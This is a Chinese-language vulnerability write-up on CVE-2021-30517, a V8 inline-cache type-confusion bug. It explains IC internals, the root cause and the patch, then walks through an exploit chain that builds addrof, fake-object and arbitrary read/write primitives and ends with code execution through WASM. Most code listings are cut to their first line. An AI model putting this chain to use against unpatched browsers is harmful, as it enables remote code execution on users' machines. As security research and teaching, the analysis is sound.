CVE-2021-30517 :V8 IC 中的类型混淆漏洞
信息收集
该 CVE
对应的 Issue
为 Issue 1203122 ,是一个类型混淆的洞。同时非常贴心的给了 Poc
1 | function main() { |
还有 EXP
1 | const H = new class { |
Patch 如下
[accessor-assembler.cc](https://chromium.googlesource.com/v8/v8/+/387c803020c331ea4203c85b3bb6d9d714457375/src/ic/accessor-assembler.cc)
中将传入的 receiver
改为了 lookup_start_object
,[ic.cc](https://chromium.googlesource.com/v8/v8/+/387c803020c331ea4203c85b3bb6d9d714457375/src/ic/ic.cc)
中也是如此
前置知识
ICs(Inline Caches)
是 V8
中根据 Shape
进行快速访问的缓存,对于某代码语句比如 this.x = x
,比较上次执行到该语句时缓存的 Map
和对象当前的 Map
是否相同,如果相同则执行对应的 IC-Hit
代码,反之执行 IC-Miss
代码。在 V8
中,其会在对象上添加一个名为 type_feedback_vector
的数组成员(也称类型反馈向量),对于每处可能产生 IC
的代码,其 type_feedback_vector
会缓存上一次执行至该语句时对象的 Map
和对应的 IC-Hit
代码(在 V8
内部称为 IC-Hit Handler
)。
例如我们对于下面的语句:
1 | function Point(x,y) { |
在 this.x = x
的时候生成 map0
,在 this.y = y
的时候生成 map1
,Point
对象的type_feedback_vector
数据内容如下所示:
数组下标 | IC对应的源码 | 缓存的Map和对应的IC-Hit Handler |
---|---|---|
0 | this.x = x | <map0, ic-hit handler> |
1 | this.y = y | <map1, ic-hit handler> |
总结一下就是,type_feedback_vector
缓存了 Map
和与之对应的 IC-Hit Handler
,IC
相关的逻辑就可以简化为通过访问 type_feedback_vector
即可判断是否 IC Hint
并执行对应的 IC-Hit Handler
IC
可以用状态机直观的描述:
初始为 uninitialized
状态,在经过一次 IC Miss
后变为 pre-monomorphic
态,再经过一次 IC Miss
后变为 monomorphic
态,如果一直 IC Hit
则保持在 monomorphic
态;否则再次经过 IC Miss
后变为 polymorphic
态。在 polymorphic
态如果继续 IC Miss
四次则进入 megamophic
态并稳定下来。在到达 megamorphic
态的时候,此时 Map
和 IC-Hit Handler
便不会再缓存在 feedback_vector
中,而是存储在固定大小的全局 hashtable
中,如果 IC
态多于 hashtable
的大小,则会对之前的缓存进行覆盖。(也就是 stub cache
)
以上面提到的代码为例
- 第一次执行
this.x = x
语句时,Point.type_feedback_vector
为空,所以发生IC Miss
后变为pre-monomorphic
态。IC-Miss Handler
会分析出此时this
对象的Map
中不包含属性x
,因此会添加成员x
,接着会发生Map Transition
,从Map0
变为Map1
。考虑到绝大部分函数只会被调用一次,所以V8
的策略是发生第一次IC-Miss
时,并不会缓存此时的map
,也不会产生IC-Hit handler
; - 第二次执行
this.x = x
语句时,Point.type_feedback_vector
为空,所以发生IC Miss
后变为monomorphic
态。此时IC-Miss Hanlder
除了发生Map Transition
之外,还会编译生成IC-Hit Handler
,并将map0
和IC Hit Handler
缓存到Point.type_feedback_vector
中。 - 第三次执行
this.x = x
语句时,Point.type_feedback_vector
不为空且有缓存 map0 的信息,由于此时的 map 一致,因此会直接调用IC-Hit Handler
来添加成员x
并进行Map transition
但是我在实际的 v8 源码阅读和使用中,并没有见到 pre-monomorphic 的状态,而且在 uninitialized 之前还有 no feedback 的状态,IC 有 Lazy_feedback_allocation 的机制,所以会在第 9 次才会到 uninitialized
下面是一些 feedbackvector
的细节信息:
对于 load
操作来说,会产生 LdaNamedProperty
字节码对照着源码来看,其是在 interpreter-generator.cc
中生成的:
1 | // LdaNamedProperty <object> <name_index> <slot> |
其加载 receiver(recv)
和 property name(lazy_name)
,对于 o.x
来说,receiver
就是 o
,property name
就是 x
随后到 AccessorAssembler::LoadIC_BytecodeHandler
,主要分为七个部分:
第一部分:
1 | //////////////////// Entry points into private implementation (one per stub). |
主要做了两件事:
- 判断是否含有
feedbackvector
,不是的话跳到no_feedback
- 判断
lookup_start_object
的map
是否为deprecated map
(过期的map
)
第二部分:
1 | // Inlined fast path. |
这里主要是判断了 IC
是否处于 Monomorphic
状态
1 | TNode<MaybeObject> AccessorAssembler::TryMonomorphicCase( |
在 TryMonomorphicCase
里会取出 feedbackvector
中存储的 map
信息并和 lookup_start_object map
的信息进行对比,如果 map
是弱引用的话则证明是 monomorphic
状态,取出对应的 handle
并返回 feedback
;不是的话则跳到 miss
第三部分
1 | BIND(&if_handler); |
也就是对应的 LoadIC
的实现,会调用 AccessorAssembler::HandleLoadICHandlerCase
函数
1 | void AccessorAssembler::HandleLoadICHandlerCase( |
判断 handle
是否为 smi_handle
,如果是则调用 HandleLoadICSmiHandlerCase
,否则判断 handle
的 map
是否为 code map
,是的话则直接 call_handler
,否则调用 HandleLoadICProtoHandler
在
V8
的IC
中共有四种handle
,我们可以通过 LoadHandler::PrintHandler 来打印他们
随后我们主要研究一下 SmiHandle
,查看 AccessorAssembler::HandleLoadICSmiHandlerCase
1 | void AccessorAssembler::HandleLoadICSmiHandlerCase( |
主要针对比较通常的部分进行了实现,同时对 NamedCase
进行了更加细化的操作,分别使用了 HandleLoadICSmiHandlerHasNamedCase
和 HandleLoadICSmiHandlerLoadNamedCase
AccessorAssembler::HandleLoadICSmiHandlerHasNamedCase
中主要针对不同的情况进行了判断,比较好理解
1 | void AccessorAssembler::HandleLoadICSmiHandlerHasNamedCase( |
AccessorAssembler::HandleLoadICSmiHandlerLoadNamedCase
同样,也是针对各个情况进行了分别的处理,这里不再赘述
1 | void AccessorAssembler::HandleLoadICSmiHandlerLoadNamedCase( |
第四部分
1 | BIND(&try_polymorphic); |
主要判断 feedback
是否为强引用,不是的话跳到 miss
;而后又判断是否为 WeakFixedArrayMap
,不是的话则跳到 stub_call
,如果都满足则当前 IC
是 Polymorphic
状态
1 | void AccessorAssembler::HandlePolymorphicCase( |
这一部分主要是寻找是否有匹配的 map
,如果是则使用对应的 handler
,否则跳到 miss
第五部分
1 | BIND(&stub_call); |
跳到 stub_call
则表示此次调用没有 IC
,会调用 Builtin kLoadIC_Noninlined
也就是 AccessorAssembler::LoadIC_Noninlined
1 | void AccessorAssembler::LoadIC_Noninlined(const LoadICParameters* p, |
其针对 megamorphic
状态,在 stub cache
中寻找匹配的项目
第六部分
1 | BIND(&no_feedback); |
跳到 no_feedback
则表示此次调用没有 feedback
,会调用 Builtin kLoadIC_NoFeedback
也就是 AccessorAssembler::GenerateLoadIC_NoFeedback
1 | void AccessorAssembler::GenerateLoadIC_NoFeedback() { |
其主要调用 AccessorAssembler::LoadIC_NoFeedback
1 | void AccessorAssembler::LoadIC_NoFeedback(const LoadICParameters* p, |
AccessorAssembler::LoadIC_NoFeedback
会对 load
的情况进行区分,如果是针对 function.prototype
的 load
则使用 LoadJSFunctionPrototype
,否则使用 GenericPropertyLoad
如果跳到 miss
,则会到 Runtime_LoadNoFeedbackIC_Miss
中
1 | RUNTIME_FUNCTION(Runtime_LoadNoFeedbackIC_Miss) { |
和 Runtime_LoadIC_Miss
差不多,见下面的解释
第七部分
1 | BIND(&miss); |
跳到 miss
则表示此次调用 miss
,会调用 ic.cc
中的 RUNTIME_FUNCTION(Runtime_LoadIC_Miss)
1 | // ---------------------------------------------------------------------------- |
核心逻辑主要为
1 | LoadIC ic(isolate, vector, vector_slot, kind); |
首先使用类 LoadIC
获取 IC
状态
1 | IC::IC(Isolate* isolate, Handle<FeedbackVector> vector, FeedbackSlot slot, |
然后使用 nexus_.ic_state()
获取 IC
状态
1 | InlineCacheState FeedbackNexus::ic_state() const { |
状态获取完毕后更新 state
1 | void IC::UpdateState(Handle<Object> lookup_start_object, Handle<Object> name) { |
最后调用IC.LOAD
进行 IC
设置和属性加载
1 | MaybeHandle<Object> LoadIC::Load(Handle<Object> object, Handle<Name> name, |
其中 IC::SetCache
主要就是设置缓存
1 | void IC::SetCache(Handle<Name> name, Handle<Object> handler) { |
而 LoadIC::UpdateCaches
主要是建立 handle
并更新 cache
1 | void LoadIC::UpdateCaches(LookupIterator* lookup) { |
RootCause
以下是漏洞挖掘者给的漏洞解释:
1 | void AccessorAssembler::LoadSuperIC(const LoadICParameters* p) { |
LoadSuperIC
会被调用很多次,一开始的时候由于没有 feedback
,所以逻辑是 [0] → [3]。当经过了几次调用后,feedback
此时已经产生,那么逻辑是 [1] → [4] → [5] ,同时在 [5] 的地方注释里提到 LoadIC_Noninlined
也可以很好的处理 lookup_start_object ≠ receiver
的情况。但是事实却并非如此。
当我们匹配到了 handle
的时候会走到 [2]
,其会调用 HandleLoadICHandlerCase
1 | void AccessorAssembler::HandleLoadICHandlerCase( |
可以从之前的前置知识中知道 handle
是通过 lookup_start_object_map
匹配上的,但是最终在 [6] 的地方会使用 handle
,其却传入了一个 receiver
,当 lookup_start_object ≠ receiver
的时候便会造成类型混淆
我们看看错误信息
1 | # |
因为:
也就是:
1 | O.prototype.__proto__ == Object.prototype |
所以当调用 c.m()
的时候,所找到的便是 f.prototype
,而在生成了 IC
之后所使用的便不是 f
而是 c
,进而是一个 JS_OBJECT
和 JSFunction
的混淆,也就是方法 f
和 c
的混淆
漏洞利用
那么我们有一个类型混淆该怎么进行利用呢?让我们来介绍一下 JSPrimitiveWrapper
,当我们使用如下方法声明一个字符串的时候,便就是 JSPrimitiveWrapper
:
1 | var c = new String("A"); |
其字符串长度在 value
所指向的地方(也就是 c.length
):
1 | gef➤ x/30wx 0x3cf081492c5-1 |
如果我们像这样声明一个对象 o
:
1 | class O extends Object{ |
那么在 map、properties
和 elements
后面的便是指向自己的指针,也就是 this.x0 = this
的作用
1 | gef➤ job 0x12670814910d |
当我们让类型 O
和 JSPrimitiveWrapper
混淆了之后,我们便可以泄漏出 elements
数组指针的值,如下所示:
1 | var buf = new ArrayBuffer(16); |
同样的,如果我们使用 Array
,则会发现它的 length
我们可以随便设置,且刚好就是 JSPrimitiveWrapper
的 value
指针处:
1 | var a = new Array(1,2); |
那么我们便可以获得有限范围内地址读的能力,为什么是有限范围呢?因为当 length
大于 SMI
的范围的时候,便会使用一个 HeapNumber
来存储长度,然后 length
处便变为了指向该 HeapNumber
的指针:
1 | var a = new Array(1,2); |
然后有了有限范围内地址的读能力,便可以使用之前的对象 o
来构造 addrof
方法,整体代码如下:
1 | var buf = new ArrayBuffer(16); |
接下来是任意地址读写,当我们构造如下代码时:
1 | var f = function () {}; |
可以发现 f.prototype
所返回的是一个对象,其指针位于 f
内存地址的 + 0x1c
处:
1 | gef➤ job 0x370408149349 |
那么我们可以利用和之前一样的技巧,让 function
和我们自己构造的类混淆,并且在指定的内存区域伪造对象指针,在内存中伪造对象。然后通过 f.prototype
便可以得到一个伪造的对象进而进行任意地址读写的操作。
但是在实际尝试的时候会发现有问题,经过调试发现了问题所在。我们来看 CodeStubAssembler::LoadJSFunctionPrototype
函数:
1 | TNode<HeapObject> CodeStubAssembler::LoadJSFunctionPrototype( |
这里如果我们按照上面的说法,那么在 GotoIfNot(IsMap(proto_or_map), &done);
的时候就会直接走到 done
,但是我们伪造的时候由于伪造的地址是一个 SMI
,所以并不是一个对象,就这样返回的话会导致 v8
认为最终返回的是一个 SMI
而不是对象。所以我们需要先在原本的地方放一个指针,指向一个 map
,之后再通过这个 map
去找 prototype
,也就是下面的过程:
1 | gef➤ job 0x26b308148a19 |
那么编写如下代码即可得到一个 fake_arr_object
:
1 | var double_array = [1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9,10.0]; |
然后顺理成章弄出来 read64、write64、arb_read
和 arb_write
:
1 | function read64(addr){ |
最后弹计算器:
1 | var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); |
Patch分析
前面提到的 patch
把漏洞路径中出错的 receiver
替换为了 lookup_start_object
,可以说明是正确的 patch
。
EXP
1 | var buf = new ArrayBuffer(16); |
其他七七八八的内容
LoadIC_FunctionPrototype的code
1 | gef➤ job 0x00002b71080e33d9 |
可能会用到的一些trace
1 | ./d8 --allow-natives-syntax --prof --trace-ic --print-bytecode exp.js |
在 这里 找到了一个很酷的工具
Reference
https://bugs.chromium.org/p/chromium/issues/detail?id=1203122
https://zhuanlan.zhihu.com/p/427975235
https://cloud.tencent.com/developer/news/750000
https://v8.dev/blog/system-analyzer
https://v8.github.io/tools/head/system-analyzer/
https://docs.google.com/document/d/1mEhMn7dbaJv68lTAvzJRCQpImQoO6NZa61qRimVeA-k/edit#